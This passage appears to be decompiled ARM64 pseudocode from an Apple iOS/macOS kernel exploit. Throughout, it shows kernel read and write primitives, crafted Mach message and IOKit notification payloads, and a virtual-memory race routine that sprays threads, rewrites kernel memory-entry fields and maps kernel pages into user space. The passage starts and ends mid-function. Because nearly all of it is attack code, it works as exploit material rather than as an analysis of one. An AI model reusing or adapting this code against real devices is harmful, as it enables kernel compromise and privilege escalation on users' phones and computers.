  if ( (unsigned int)kwrite_with_retry(*(uint64_t *)(a1 + 32), a2, a3, a4) )
    return 0;
  else
    return 5;
}

//----- (000000000001062C) ----------------------------------------------------
__int64 __fastcall kread_via_kobject(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
  if ( (unsigned int)krw_read_thunk(*(struct_krwCtx **)(a1 + 32), a2, a4, (void *)a3) )
    return 0;
  else
    return 5;
}

//----- (0000000000010660) ----------------------------------------------------
__int64 __fastcall kread_u64_value(__int64 a1, __int64 a2)
{
  __int64 v3; // [xsp+8h] [xbp-8h] BYREF

  if ( (unsigned int)krw_read_thunk(*(struct_krwCtx **)(a1 + 32), a2, 8, &v3) )
    return v3;
  else
    return 0;
}

//----- (0000000000010698) ----------------------------------------------------
__int64 __fastcall kwrite_u64_to_addr(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // [xsp+8h] [xbp-8h] BYREF

  v4 = a3;
  if ( (unsigned int)kwrite_with_retry(*(uint64_t *)(a1 + 32), a2, (__int64)&v4, 8) )
    return 0;
  else
    return 5;
}

//----- (00000000000106D4) ----------------------------------------------------
__int64 __fastcall kread_u32_value(__int64 a1, unsigned __int64 a2)
{
  unsigned int v3; // [xsp+Ch] [xbp-4h] BYREF

  if ( kread_u32(*(uint64_t *)(a1 + 0x20), a2, &v3) )
    return v3;
  else
    return 0;
}

//----- (0000000000010708) ----------------------------------------------------
__int64 __fastcall flush_cpu_cache(__int64 a1, mach_vm_address_t a2, int a3)
{
  if ( noppl_kwrite32(*(uint64_t *)(a1 + 32), a2, a3) )
    return 0;
  else
    return 5;
}

//----- (0000000000010730) ----------------------------------------------------
__int64 __fastcall setup_iokit_notify_dispatch(uint64_t *a1, uint64_t **a2)
{
  __int128 v4; // q0
  unsigned __int64 v5; // x0
  __int128 v7; // [xsp+0h] [xbp-70h] BYREF
  __int128 v8; // [xsp+10h] [xbp-60h]
  __int128 v9; // [xsp+20h] [xbp-50h] BYREF
  __int128 v10; // [xsp+30h] [xbp-40h]

  a1[1] = 176;
  v9 = xmmword_42F30;
  LODWORD(v10) = -763363313;
  v7 = xmmword_42F44;
  LODWORD(v8) = -993;
  *a1 = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 5u) + 4;
  v9 = xmmword_42F58;
  v10 = unk_42F68;
  *(uint64_t *)&v4 = -1;
  *((uint64_t *)&v4 + 1) = -1;
  v7 = v4;
  v8 = v4;
  v5 = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 8u);
  a1[2] = v5;
  a1[3] = v5 + 20;
  a1[8] = v5 + 28;
  *(uint64_t *)&v9 = 0xF9000010DAC10230LL;
  DWORD2(v9) = -698416192;
  *(uint64_t *)&v7 = -1;
  DWORD2(v7) = -1;
  a1[4] = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 3u);
  *(uint64_t *)&v9 = 0xF9000010DAC10A30LL;
  DWORD2(v9) = -698416192;
  *(uint64_t *)&v7 = -1;
  DWORD2(v7) = -1;
  a1[5] = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 3u);
  *(uint64_t *)&v9 = 0xD538D083D5034FDFLL;
  DWORD2(v9) = -1862270273;
  *(uint64_t *)&v7 = -1;
  DWORD2(v7) = -1;
  a1[6] = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 3u);
  v9 = xmmword_42F78;
  LODWORD(v10) = -683734767;
  v7 = xmmword_42F8C;
  LODWORD(v8) = -1;
  a1[7] = kobj_snapshot_lookup_wrapper(a2, (__int64)&v9, (__int64)&v7, 5u);
  return 0;
}
// 42F30: using guessed type __int128 xmmword_42F30;
// 42F44: using guessed type __int128 xmmword_42F44;
// 42F58: using guessed type __int128 xmmword_42F58;
// 42F78: using guessed type __int128 xmmword_42F78;
// 42F8C: using guessed type __int128 xmmword_42F8C;

//----- (000000000001091C) ----------------------------------------------------
unsigned __int64 __fastcall send_port_alloc_msg(__int64 a1, int a2)
{
  size_t v4; // x20
  mach_msg_header_t *v5; // x0
  mach_port_name_t v6; // w8
  __int64 v7; // x20
  __int64 v8; // x0
  struct_krwCtx *v9; // x21
  __int64 v10; // x0
  unsigned __int64 v11; // x21
  mach_port_name_t name; // [xsp+Ch] [xbp-24h] BYREF

  name = 0;
  mach_port_allocate(mach_task_self_, 1u, &name);
  v4 = (unsigned int)(a2 + 24);
  v5 = (mach_msg_header_t *)calloc(1u, v4);
  v6 = name;
  v5->msgh_size = v4;
  v5->msgh_remote_port = v6;
  v5->msgh_bits = 21;
  mach_msg_send(v5);
  v7 = krw_lookup_via_ctx_field32(*(uint64_t *)(a1 + 8), name) + 32;
  v8 = kread_u64_value(*(uint64_t *)(a1 + 8), v7);
  v9 = *(struct_krwCtx **)(*(uint64_t *)(a1 + 8) + 32LL);
  v10 = kread_u64_value(*(uint64_t *)(a1 + 8), v8 + 16);
  v11 = krw_xpac_vaddr_2(v9, v10);
  kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v7, 0);
  mach_port_destroy(mach_task_self_, name);
  return v11 + 32;
}

//----- (00000000000109F8) ----------------------------------------------------
__int64 __fastcall setup_kernel_exploit_msg(__int64 a1, __int64 a2, __int64 a3, unsigned int a4, __int64 a5, __int64 a6, __int64 a7)
{
  __int64 v14; // x26
  uint64_t *v15; // x8
  __int64 v16; // x9
  mach_msg_header_t *v17; // x0
  mach_port_name_t v18; // w4
  __int64 vars8; // [xsp+48h] [xbp+8h]

  v14 = *(uint64_t *)(a1 + 16);
  *(uint32_t *)(v14 + 1032) = *(uint32_t *)(v14 + 8);
  *(uint32_t *)(v14 + 1036) = 0;
  *(uint32_t *)(v14 + 1044) = *(uint32_t *)(v14 + 20) + 100;
  memcpy((void *)(v14 + 1068), (const void *)(v14 + 56), 0x210u);
  *(NDR_record_t *)(v14 + 1048) = NDR_record;
  *(uint32_t *)(v14 + 1064) = 132;
  *(uint64_t *)(v14 + 1056) = 0x1100000000LL;
  *(uint64_t *)(v14 + 1024) = 0x23C00000012LL;
  memcpy(*(void **)(a1 + 24), (const void *)(a1 + 44), 0x130u);
  v16 = *(uint64_t *)(a1 + 16);
  v15 = *(uint64_t **)(a1 + 24);
  v15[1] = a2;
  v15[2] = a3;
  v15[3] = a4;
  v15[4] = a5;
  v15[5] = a6;
  v15[6] = a7;
  mach_msg_send((mach_msg_header_t *)(v16 + 1024));
  bzero(*(void **)(a1 + 16), 0x800u);
  v17 = *(mach_msg_header_t **)(a1 + 16);
  v18 = *(uint32_t *)(a1 + 368);
  return mach_msg(v17, 2, 0, 0x400u, v18, 0, 0);
}
// 10AF8: variable 'vars8' is possibly undefined

//----- (0000000000010B08) ----------------------------------------------------
__int64 __fastcall mach_vm_page_info_query(uint64_t *a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v7; // x9
  __int64 v8; // x10
  __int64 v9; // x6
  __int64 v10; // x9
  __int64 result; // x0

  v7 = 0;
  v8 = a1[44];
  do
  {
    *(uint64_t *)(v8 + 8 + v7) = *(uint64_t *)(a6 + v7);
    v7 += 8;
  }
  while ( v7 != 240 );
  *(uint64_t *)(v8 + 256) = a5;
  *(uint64_t *)((char *)a1 + 220) = a1[45];
  v10 = *(uint64_t *)(a6 + 128);
  v9 = *(uint64_t *)(a6 + 136);
  *(uint64_t *)(v8 + 264) = a2;
  *(uint32_t *)(v8 + 272) = a3;
  *(uint64_t *)(v8 + 248) = a4;
  *(uint64_t *)(v8 + 136) = v10;
  *(uint64_t *)(v8 + 144) = v9;
  result = setup_kernel_exploit_msg((__int64)a1, a1[45], a2, a3, a4, v10, v9);
  *(uint64_t *)((char *)a1 + 220) = a1[47];
  return result;
}

//----- (0000000000010B90) ----------------------------------------------------
__int64 __fastcall query_phys_page_info(__int64 a1, __int64 a2, __int64 a3)
{
  *(uint64_t *)(a3 + 168) = *(uint64_t *)(a1 + 376);
  return mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 656), *(uint64_t *)(a1 + 624), *(uint64_t *)(a1 + 632), a3);
}

//----- (0000000000010C2C) ----------------------------------------------------
__int64 __fastcall setup_ipc_port_exploit_payload(__int64 a1, __int64 a2, int a3, __int64 a4)
{
  __int64 v7; // x4
  __int64 v8; // x22
  __int64 v9; // x23
  __int64 v10; // x24
  __int64 v11; // x8
  __int64 v12; // x10
  __int64 v13; // x0
  __int64 v14; // x1
  __int128 v16[9]; // [xsp+0h] [xbp-140h] BYREF
  __int128 v17; // [xsp+90h] [xbp-B0h]
  __int128 v18; // [xsp+A0h] [xbp-A0h]
  __int128 v19; // [xsp+B0h] [xbp-90h]
  __int128 v20; // [xsp+C0h] [xbp-80h]
  __int128 v21; // [xsp+D0h] [xbp-70h]
  __int128 v22; // [xsp+E0h] [xbp-60h]
  __int64 vars8; // [xsp+148h] [xbp+8h]

  v21 = 0u;
  v22 = 0u;
  v19 = 0u;
  v20 = 0u;
  v17 = 0u;
  v18 = 0u;
  memset(v16, 0, sizeof(v16));
  v7 = *(uint64_t *)(a1 + 632);
  if ( v7 )
  {
    v8 = *(uint64_t *)(a1 + 632);
    if ( (*(uint8_t *)(a1 + 652) & 1) == 0 )
      v8 = *(uint64_t *)(a1 + 632);
  }
  else
  {
    v8 = 0;
  }
  if ( a3 >= 1 )
  {
    v9 = 0;
    v10 = (unsigned int)a3;
    do
    {
      if ( (unsigned int)v9 < 8 || (uint32_t)v9 == 15 )
      {
        *((uint64_t *)v16 + v9) = *(uint64_t *)(a4 + 8 * v9);
      }
      else
      {
        kwrite_u64_to_addr(*(uint64_t *)(a1 + 8), v8, *(uint64_t *)(a4 + 8 * v9));
        v8 += 8;
      }
      ++v9;
    }
    while ( v10 != v9 );
    v7 = *(uint64_t *)(a1 + 632);
  }
  v11 = *(uint64_t *)(a1 + 664);
  v12 = *(uint64_t *)(a1 + 376);
  *((uint64_t *)&v17 + 1) = v11 + 61416;
  *((uint64_t *)&v18 + 1) = v12;
  *((uint64_t *)&v19 + 1) = v11 + 61312;
  mach_vm_page_info_query((uint64_t *)a1, a2, *(uint32_t *)(a1 + 660), qword_48038, v7, (__int64)v16);
  v13 = *(uint64_t *)(a1 + 8);
  v14 = *(uint64_t *)(a1 + 664) + 61440LL;
  return kread_u64_value(v13, v14);
}
// 48038: using guessed type __int64 qword_48038;

//----- (0000000000010DEC) ----------------------------------------------------
__int64 __fastcall send_iokit_notification(__int64 a1, __int64 a2, uint64_t *a3)
{
  __int64 v3; // x8
  uint64_t *v4; // x10
  __int128 v7[14]; // [xsp+10h] [xbp-100h] BYREF
  __int64 v8; // [xsp+F0h] [xbp-20h]

  v3 = 0;
  v8 = 0;
  memset(v7, 0, sizeof(v7));
  do
  {
    v4 = a3++;
    *(uint64_t *)((char *)v7 + v3) = *v4;
    v3 += 8;
  }
  while ( v3 != 232 );
  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int128 *))(*(uint64_t *)a1 + 8LL))(a1, a2, 29, v7);
}

//----- (0000000000010EA8) ----------------------------------------------------
__int64 __fastcall prepare_iokit_notification_payload(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // x0
  __int64 v5; // x1
  __int64 v7; // [xsp+8h] [xbp-108h] BYREF
  __int128 v8; // [xsp+10h] [xbp-100h]
  __int128 v9; // [xsp+20h] [xbp-F0h]
  __int128 v10; // [xsp+30h] [xbp-E0h]
  __int128 v11; // [xsp+40h] [xbp-D0h]
  __int128 v12; // [xsp+50h] [xbp-C0h]
  __int128 v13; // [xsp+60h] [xbp-B0h]
  __int128 v14; // [xsp+70h] [xbp-A0h]
  __int128 v15; // [xsp+80h] [xbp-90h]
  __int128 v16; // [xsp+90h] [xbp-80h]
  __int128 v17; // [xsp+A0h] [xbp-70h]
  __int128 v18; // [xsp+B0h] [xbp-60h]
  __int128 v19; // [xsp+C0h] [xbp-50h]
  __int128 v20; // [xsp+D0h] [xbp-40h]
  __int128 v21; // [xsp+E0h] [xbp-30h]
  __int64 v22; // [xsp+F0h] [xbp-20h]
  __int64 vars8; // [xsp+118h] [xbp+8h]

  v14 = 0u;
  v15 = 0u;
  v16 = 0u;
  v22 = 0;
  v21 = 0u;
  v20 = 0u;
  v19 = 0u;
  v18 = 0u;
  v17 = 0u;
  v12 = 0u;
  v13 = 0u;
  v10 = 0u;
  v11 = 0u;
  v8 = 0u;
  v9 = 0u;
  v7 = *(uint64_t *)(a1 + 664) + 61440LL;
  *((uint64_t *)&v15 + 1) = a2;
  *(uint64_t *)&v16 = a3;
  query_phys_page_info(a1, qword_48020, (__int64)&v7);
  v4 = *(uint64_t *)(a1 + 8);
  v5 = *(uint64_t *)(a1 + 664) + 61440LL;
  return kread_u64_value(v4, v5);
}
// 48020: using guessed type __int64 qword_48020;

//----- (0000000000010F6C) ----------------------------------------------------
__int64 __fastcall vtable_call_slot2(__int64 a1, __int64 a2)
{
  return (*(__int64 (__fastcall **)(__int64, __int64, uint64_t))(*(uint64_t *)a1 + 16LL))(a1, a2, 0);
}

//----- (0000000000010F84) ----------------------------------------------------
__int64 __fastcall setup_notification_extra_args(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // x0
  __int64 v5; // x1
  __int64 v7; // [xsp+8h] [xbp-118h] BYREF
  __int128 v8; // [xsp+10h] [xbp-110h]
  __int128 v9; // [xsp+20h] [xbp-100h]
  __int128 v10; // [xsp+30h] [xbp-F0h]
  __int128 v11; // [xsp+40h] [xbp-E0h]
  __int128 v12; // [xsp+50h] [xbp-D0h]
  __int128 v13; // [xsp+60h] [xbp-C0h]
  __int128 v14; // [xsp+70h] [xbp-B0h]
  __int128 v15; // [xsp+80h] [xbp-A0h]
  __int128 v16; // [xsp+90h] [xbp-90h]
  __int128 v17; // [xsp+A0h] [xbp-80h]
  __int128 v18; // [xsp+B0h] [xbp-70h]
  __int128 v19; // [xsp+C0h] [xbp-60h]
  __int128 v20; // [xsp+D0h] [xbp-50h]
  __int128 v21; // [xsp+E0h] [xbp-40h]
  __int64 v22; // [xsp+F0h] [xbp-30h]
  __int64 vars8; // [xsp+128h] [xbp+8h]

  v14 = 0u;
  v15 = 0u;
  v16 = 0u;
  v22 = 0;
  v21 = 0u;
  v20 = 0u;
  v19 = 0u;
  v18 = 0u;
  v17 = 0u;
  v12 = 0u;
  v13 = 0u;
  v10 = 0u;
  v11 = 0u;
  v8 = 0u;
  v9 = 0u;
  v7 = *(uint64_t *)(a1 + 664) + 61696LL;
  *((uint64_t *)&v15 + 1) = a2;
  *(uint64_t *)&v16 = a3;
  query_phys_page_info(a1, qword_48028, (__int64)&v7);
  v4 = *(uint64_t *)(a1 + 8);
  v5 = *(uint64_t *)(a1 + 664) + 61696LL;
  return kread_u64_value(v4, v5);
}
// 48028: using guessed type __int64 qword_48028;

//----- (0000000000011054) ----------------------------------------------------
__int64 __fastcall trigger_kstate_write_vtable(__int64 *a1, __int64 a2, __int64 a3)
{
  uint64_t v5[2]; // [xsp+8h] [xbp-48h] BYREF
  __int128 v6; // [xsp+18h] [xbp-38h]
  __int128 v7; // [xsp+28h] [xbp-28h]

  v5[0] = a1[83] + 61400;
  v5[1] = a3;
  v6 = 0u;
  v7 = 0u;
  (*(void (__fastcall **)(__int64 *, __int64, __int64, uint64_t *))(*a1 + 8))(a1, qword_48018, 6, v5);
  return kread_u64_value(a1[1], a1[83] + 61696);
}
// 48018: using guessed type __int64 qword_48018;

//----- (00000000000110FC) ----------------------------------------------------
__int64 __fastcall pack_exploit_args_buffer(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4,
        __int64 a5,
        __int64 a6,
        __int64 a7,
        __int64 a8,
        __int64 a9)
{
  __int64 v9; // x8
  __int64 *v10; // x10
  __int64 *v12; // [xsp+8h] [xbp-98h]
  __int128 v13[7]; // [xsp+10h] [xbp-90h] BYREF
  __int64 v14; // [xsp+80h] [xbp-20h]
  __int64 v15; // [xsp+88h] [xbp-18h]

  v9 = 0;
  v12 = &a9;
  v14 = 0;
  memset(v13, 0, sizeof(v13));
  do
  {
    v10 = v12++;
    *(uint64_t *)((char *)v13 + v9) = *v10;
    v9 += 8;
  }
  while ( v9 != 64 );
  v15 = a2;
  return (*(__int64 (__fastcall **)(__int64, __int64, __int64, __int128 *))(*(uint64_t *)a1 + 8LL))(
           a1,
           qword_48000,
           16,
           v13);
}
// 48000: using guessed type __int64 qword_48000;

//----- (00000000000111B4) ----------------------------------------------------
__int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
{
  return (*(__int64 (**)(void))(a1 + 16))();
}

//----- (00000000000111C0) ----------------------------------------------------
__int64 __fastcall exploit_thread_vmcopy_race(__int64 a1)
{
  __int64 *v2; // x20
  unsigned __int64 v3; // x24
  __int64 v4; // x0
  __int64 v5; // x23
  unsigned int v6; // w0
  unsigned __int64 v7; // x27
  __int64 v8; // x22
  unsigned int v9; // w0
  int v10; // w21
  __int64 v11; // x0
  __int64 v12; // x8
  unsigned __int64 v13; // x22
  unsigned __int64 v14; // x25
  unsigned __int64 v15; // x27
  unsigned __int64 v16; // x0
  bool v17; // cf
  unsigned int v19; // w0
  unsigned __int64 v20; // x27
  int v21; // w21
  thread_act_t v22; // w1
  unsigned __int64 v23; // x25
  __int64 v24; // x22
  unsigned __int64 v25; // x0
  vm_offset_t v26; // x26
  vm_address_t v27; // x26
  thread_act_t v28; // w22
  unsigned __int64 v29; // x22
  unsigned __int64 i; // x24
  int v31; // w0
  int v32; // w0
  int v33; // w0
  unsigned int v34; // w8
  __int64 *v35; // x24
  vm_address_t v36; // x28
  thread_act_t v37; // w0
  __int64 v38; // x22
  mach_port_t v39; // w0
  mach_vm_address_t v40; // x22
  __int64 v41; // x26
  int v42; // w8
  int v43; // w8
  __int64 v44; // x22
  __int64 v45; // x22
  unsigned int v46; // w1
  __int64 v47; // x8
  __int64 v48; // x28
  thread_act_t v51; // w0
  __int64 j; // x22
  thread_act_t v53; // w0
  int v54; // w8
  struct_krwCtx *v55; // x0
  int v56; // w22
  int v57; // w0
  __int64 v58; // x9
  unsigned __int64 v59; // x9
  int v60; // w10
  int v61; // w24
  unsigned __int64 v62; // x22
  unsigned int v63; // w0
  unsigned __int64 v64; // x22
  unsigned __int64 v65; // x25
  unsigned int v66; // w0
  unsigned __int64 v67; // x8
  __int64 v68; // x22
  __int64 v69; // x0
  unsigned __int64 v70; // x0
  struct_krwCtx *v71; // x22
  __int64 v72; // x0
  unsigned __int64 v73; // x0
  struct_krwCtx *v74; // x22
  __int64 v75; // x0
  mach_vm_address_t v76; // x1
  unsigned __int64 v77; // x22
  __int64 v78; // x25
  __int64 v79; // x8
  uint32_t *v80; // x9
  uint64_t *v81; // x10
  uint64_t *v82; // x8
  int v83; // w11
  __int64 v84; // x0
  __int64 v85; // x1
  mach_msg_header_t *v86; // x0
  vm_offset_t v87; // x22
  __int64 v88; // x24
  vm_address_t v89; // x8
  __int64 v90; // x22
  __int64 v91; // x24
  __int64 v92; // x0
  void *v94; // [xsp+40h] [xbp-6C0h]
  __int64 v95; // [xsp+58h] [xbp-6A8h]
  __int64 v96; // [xsp+98h] [xbp-668h]
  __int64 v97; // [xsp+A0h] [xbp-660h]
  vm_address_t v98; // [xsp+A8h] [xbp-658h]
  unsigned __int64 v99; // [xsp+A8h] [xbp-658h]
  __int64 v100; // [xsp+B0h] [xbp-650h]
  mach_vm_address_t v101; // [xsp+B8h] [xbp-648h]
  unsigned __int64 v102; // [xsp+C0h] [xbp-640h]
  __int64 v103; // [xsp+C8h] [xbp-638h]
  int v104; // [xsp+D4h] [xbp-62Ch]
  unsigned __int64 v105; // [xsp+D8h] [xbp-628h]
  unsigned __int64 v106; // [xsp+E0h] [xbp-620h]
  unsigned int v107; // [xsp+ECh] [xbp-614h]
  vm_offset_t v108; // [xsp+F0h] [xbp-610h]
  unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
  vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
  uint64_t v111[6]; // [xsp+108h] [xbp-5F8h] BYREF
  semaphore_t v112; // [xsp+138h] [xbp-5C8h]
  semaphore_t v113; // [xsp+13Ch] [xbp-5C4h]
  natural_t v114[4]; // [xsp+140h] [xbp-5C0h] BYREF
  __int128 v115; // [xsp+150h] [xbp-5B0h]
  __int128 v116; // [xsp+160h] [xbp-5A0h]
  __int128 v117; // [xsp+170h] [xbp-590h]
  __int128 v118; // [xsp+180h] [xbp-580h]
  __int128 v119; // [xsp+190h] [xbp-570h]
  __int128 v120; // [xsp+1A0h] [xbp-560h]
  __int128 v121; // [xsp+1B0h] [xbp-550h]
  __int128 v122; // [xsp+1C0h] [xbp-540h]
  __int128 v123; // [xsp+1D0h] [xbp-530h]
  __int128 v124; // [xsp+1E0h] [xbp-520h]
  __int128 v125; // [xsp+1F0h] [xbp-510h]
  __int128 v126; // [xsp+200h] [xbp-500h]
  __int128 v127; // [xsp+210h] [xbp-4F0h]
  __int128 v128; // [xsp+220h] [xbp-4E0h]
  __int128 v129; // [xsp+230h] [xbp-4D0h]
  __int128 v130; // [xsp+240h] [xbp-4C0h]
  uint64_t v131[2]; // [xsp+250h] [xbp-4B0h] BYREF
  __int64 (__fastcall *v132)(__int64, unsigned __int8); // [xsp+260h] [xbp-4A0h]
  void *v133; // [xsp+268h] [xbp-498h]
  __int64 v134; // [xsp+270h] [xbp-490h]
  __int64 v135; // [xsp+278h] [xbp-488h]
  unsigned __int64 v136; // [xsp+280h] [xbp-480h]
  unsigned __int64 v137; // [xsp+288h] [xbp-478h]
  unsigned __int64 v138; // [xsp+290h] [xbp-470h]
  vm_size_t v139; // [xsp+298h] [xbp-468h]
  __int64 v140; // [xsp+2A0h] [xbp-460h]
  __int64 v141; // [xsp+2A8h] [xbp-458h]
  int v142; // [xsp+2B0h] [xbp-450h]
  mem_entry_name_port_t v143; // [xsp+2B4h] [xbp-44Ch]
  vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
  integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
  uint64_t v146[7]; // [xsp+2D0h] [xbp-430h] BYREF
  semaphore_t v147; // [xsp+308h] [xbp-3F8h]
  semaphore_t v148; // [xsp+30Ch] [xbp-3F4h]
  pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
  __int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
  vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF
  vm_address_t v152; // [xsp+328h] [xbp-3D8h] BYREF
  thread_act_t target_act; // [xsp+334h] [xbp-3CCh] BYREF
  thread_act_t v154; // [xsp+338h] [xbp-3C8h] BYREF
  mem_entry_name_port_t object_handle; // [xsp+33Ch] [xbp-3C4h] BYREF
  vm_address_t address; // [xsp+340h] [xbp-3C0h] BYREF
  vm_size_t size; // [xsp+348h] [xbp-3B8h] BYREF
  vm_address_t offset; // [xsp+350h] [xbp-3B0h] BYREF
  int v159; // [xsp+35Ch] [xbp-3A4h] BYREF
  semaphore_t v160; // [xsp+360h] [xbp-3A0h] BYREF
  semaphore_t semaphore; // [xsp+364h] [xbp-39Ch] BYREF
  thread_act_t v162; // [xsp+368h] [xbp-398h] BYREF
  thread_act_t child_act; // [xsp+36Ch] [xbp-394h] BYREF
  __int128 v164; // [xsp+370h] [xbp-390h] BYREF
  __int128 v165; // [xsp+380h] [xbp-380h]
  __int128 v166; // [xsp+390h] [xbp-370h]
  __int128 v167; // [xsp+3A0h] [xbp-360h]
  __int128 v168; // [xsp+3B0h] [xbp-350h]
  __int128 v169; // [xsp+3C0h] [xbp-340h]
  __int128 v170; // [xsp+3D0h] [xbp-330h]
  __int128 v171; // [xsp+3E0h] [xbp-320h]
  __int128 v172; // [xsp+3F0h] [xbp-310h]
  __int128 v173; // [xsp+400h] [xbp-300h]
  __int128 v174; // [xsp+410h] [xbp-2F0h]
  __int128 v175; // [xsp+420h] [xbp-2E0h]
  __int128 v176; // [xsp+430h] [xbp-2D0h]
  __int128 v177; // [xsp+440h] [xbp-2C0h]
  __int128 v178; // [xsp+450h] [xbp-2B0h]
  __int128 __dst[19]; // [xsp+460h] [xbp-2A0h] BYREF
  __int128 v180[16]; // [xsp+590h] [xbp-170h] BYREF

  v2 = (__int64 *)(a1 + 8);
  v104 = *(uint32_t *)(*(uint64_t *)(*(uint64_t *)(a1 + 8) + 32LL) + 320LL);
  child_act = 0;
  thread_create(mach_task_self_, &child_act);
  v162 = 0;
  thread_create(mach_task_self_, &v162);
  semaphore = 0;
  semaphore_create(mach_task_self_, &semaphore, 0, 0);
  v160 = 0;
  semaphore_create(mach_task_self_, &v160, 0, 0);
  v159 = 0;
  v106 = kernel_va_base_resolver(*(struct_krwCtx **)(*v2 + 32), 0, &v159);
  do
  {
    offset = 0;
    size = 0x4000;
    address = 0;
    vm_map(mach_task_self_, &address, 0xC000u, 0, 1, 0, 0, 0, 0, 0, 2u);
    offset = address + 0x4000;
    vm_allocate(mach_task_self_, &offset, size, 0x4000);
    *(uint64_t *)offset = 0xC0C0C0C0C0C0C0C0LL;
    mach_make_memory_entry(mach_task_self_, &size, offset, 3, &object_handle, 0);
    v3 = get_task_kobject_addr_from_field32(*v2, object_handle);
    v4 = kread_u64_value(*v2, v3 + 16);
    v5 = kread_u64_value(*v2, v4 + 24);
    v6 = kread_u32_value(*v2, v5 + 60);
    if ( (v6 & 0x80000000) != 0 )
      v7 = 48LL * (v6 & 0x7FFFFFFF);
    else
      v7 = ((unsigned __int64)v6 << v159) + v106;
    v8 = kread_u64_value(*v2, v7 + 32);
    v9 = kread_u32_value(*v2, v7);
  }
  while ( (v9 & 0x80000000) == 0 );
  v95 = v7;
  v10 = 0;
  v109 = v8 - 48LL * v9 + 0x1800000000LL;
  v11 = *(uint64_t *)(a1 + 8);
  v12 = *(uint64_t *)(v11 + 32);
  v13 = *(uint64_t *)(v12 + 6632);
  v14 = *(uint64_t *)(v12 + 6640);
  while ( 1 )
  {
    v15 = v109 + (v10 & 0xFFFFFFF0);
    v16 = kread_u64_value(v11, v15 + 24);
    v17 = v16 < v13 || v16 >= v14;
    if ( !v17 && (v16 & 0x3FFF) == 0 )
    {
      v19 = kread_u32_value(*(uint64_t *)(a1 + 8), v15 + 32);
      *(uint64_t *)(a1 + 32) = v19;
      if ( v19 )
      {
        v20 = (v19 & 0x80000000) != 0 ? v109 + 48LL * (v19 & 0x7FFFFFFF) : ((unsigned __int64)v19 << v159) + v106;
        if ( (unsigned int)kread_u32_value(*v2, v20 + 48) > 0xFFF )
          break;
      }
    }
    v11 = *v2;
    v10 += 48;
  }
  kwrite_u64_to_addr(*v2, v3 + 24, 0);
  kwrite_u64_to_addr(*v2, v3 + 32, -16384);
  v154 = 0;
  v21 = 256;
  do
  {
    thread_create(mach_task_self_, &v154);
    --v21;
  }
  while ( v21 );
  v107 = 0;
  target_act = 0;
  v103 = v5 + 48;
  v102 = v95 - v106;
  v94 = (void *)(a1 + 44);
  do
  {
    if ( target_act )
      thread_terminate(target_act);
    thread_create(mach_task_self_, &target_act);
    v22 = target_act;
    *(uint32_t *)(a1 + 672) = 0;
    v23 = get_task_kobject_addr_from_field32(*(uint64_t *)(a1 + 8), v22);
    v24 = kread_u64_value(*(uint64_t *)(a1 + 8), qword_48008 + v23);
    v25 = maybe_sptm_translate_kaddr(*(struct_krwCtx **)(*(uint64_t *)(a1 + 8) + 32LL), v24);
    if ( ((v25 + 272) & 0x3F) == 0x10 || (v25 & 0x3FFF) > 0x3EC0 )
      goto LABEL_68;
    v96 = v24;
    v105 = v25 & 0x3FFF;
    v100 = v25;
    v101 = v25 + 272;
    v26 = v25 & 0xFFFFFFFFFFFFC000LL;
    v152 = 0;
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = *(uint64_t *)(a1 + 32);
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    vm_map(mach_task_self_, &v152, 0x4000u, 0, 1, object_handle, v23 & 0xFFFFFFFFFFFFC000LL, 0, 3, 3, 1u);
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = v102 >> v159;
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    v97 = qword_48008;
    v98 = v152;
    v151 = 0;
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = *(uint64_t *)(a1 + 32);
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    v108 = v26;
    vm_map(mach_task_self_, &v151, 0x4000u, 0, 1, object_handle, v26, 0, 3, 3, 1u);
    memset(__dst, 0, 32);
    kread_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    HIDWORD(__dst[0]) = v102 >> v159;
    kwrite_u64_via_kobject(*(uint64_t *)(a1 + 8), v103, (__int64)__dst, 32);
    v27 = v151;
    v150 = 0;
    memset(v180, 0, sizeof(v180));
    v146[0] = _NSConcreteStackBlock;
    v146[1] = 3221225472LL;
    v146[2] = run_exploit_thread;
    v146[3] = &unk_44870;
    v147 = v160;
    v148 = semaphore;
    v146[4] = &v150;
    v146[5] = &target_act;
    v146[6] = v180;
    pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, v146);
    semaphore_wait(semaphore);
    v28 = pthread_mach_thread_np(v149);
    *(__int128 *)policy_info = xmmword_42F00;
    thread_policy_set(v28, 2u, policy_info, 4u);
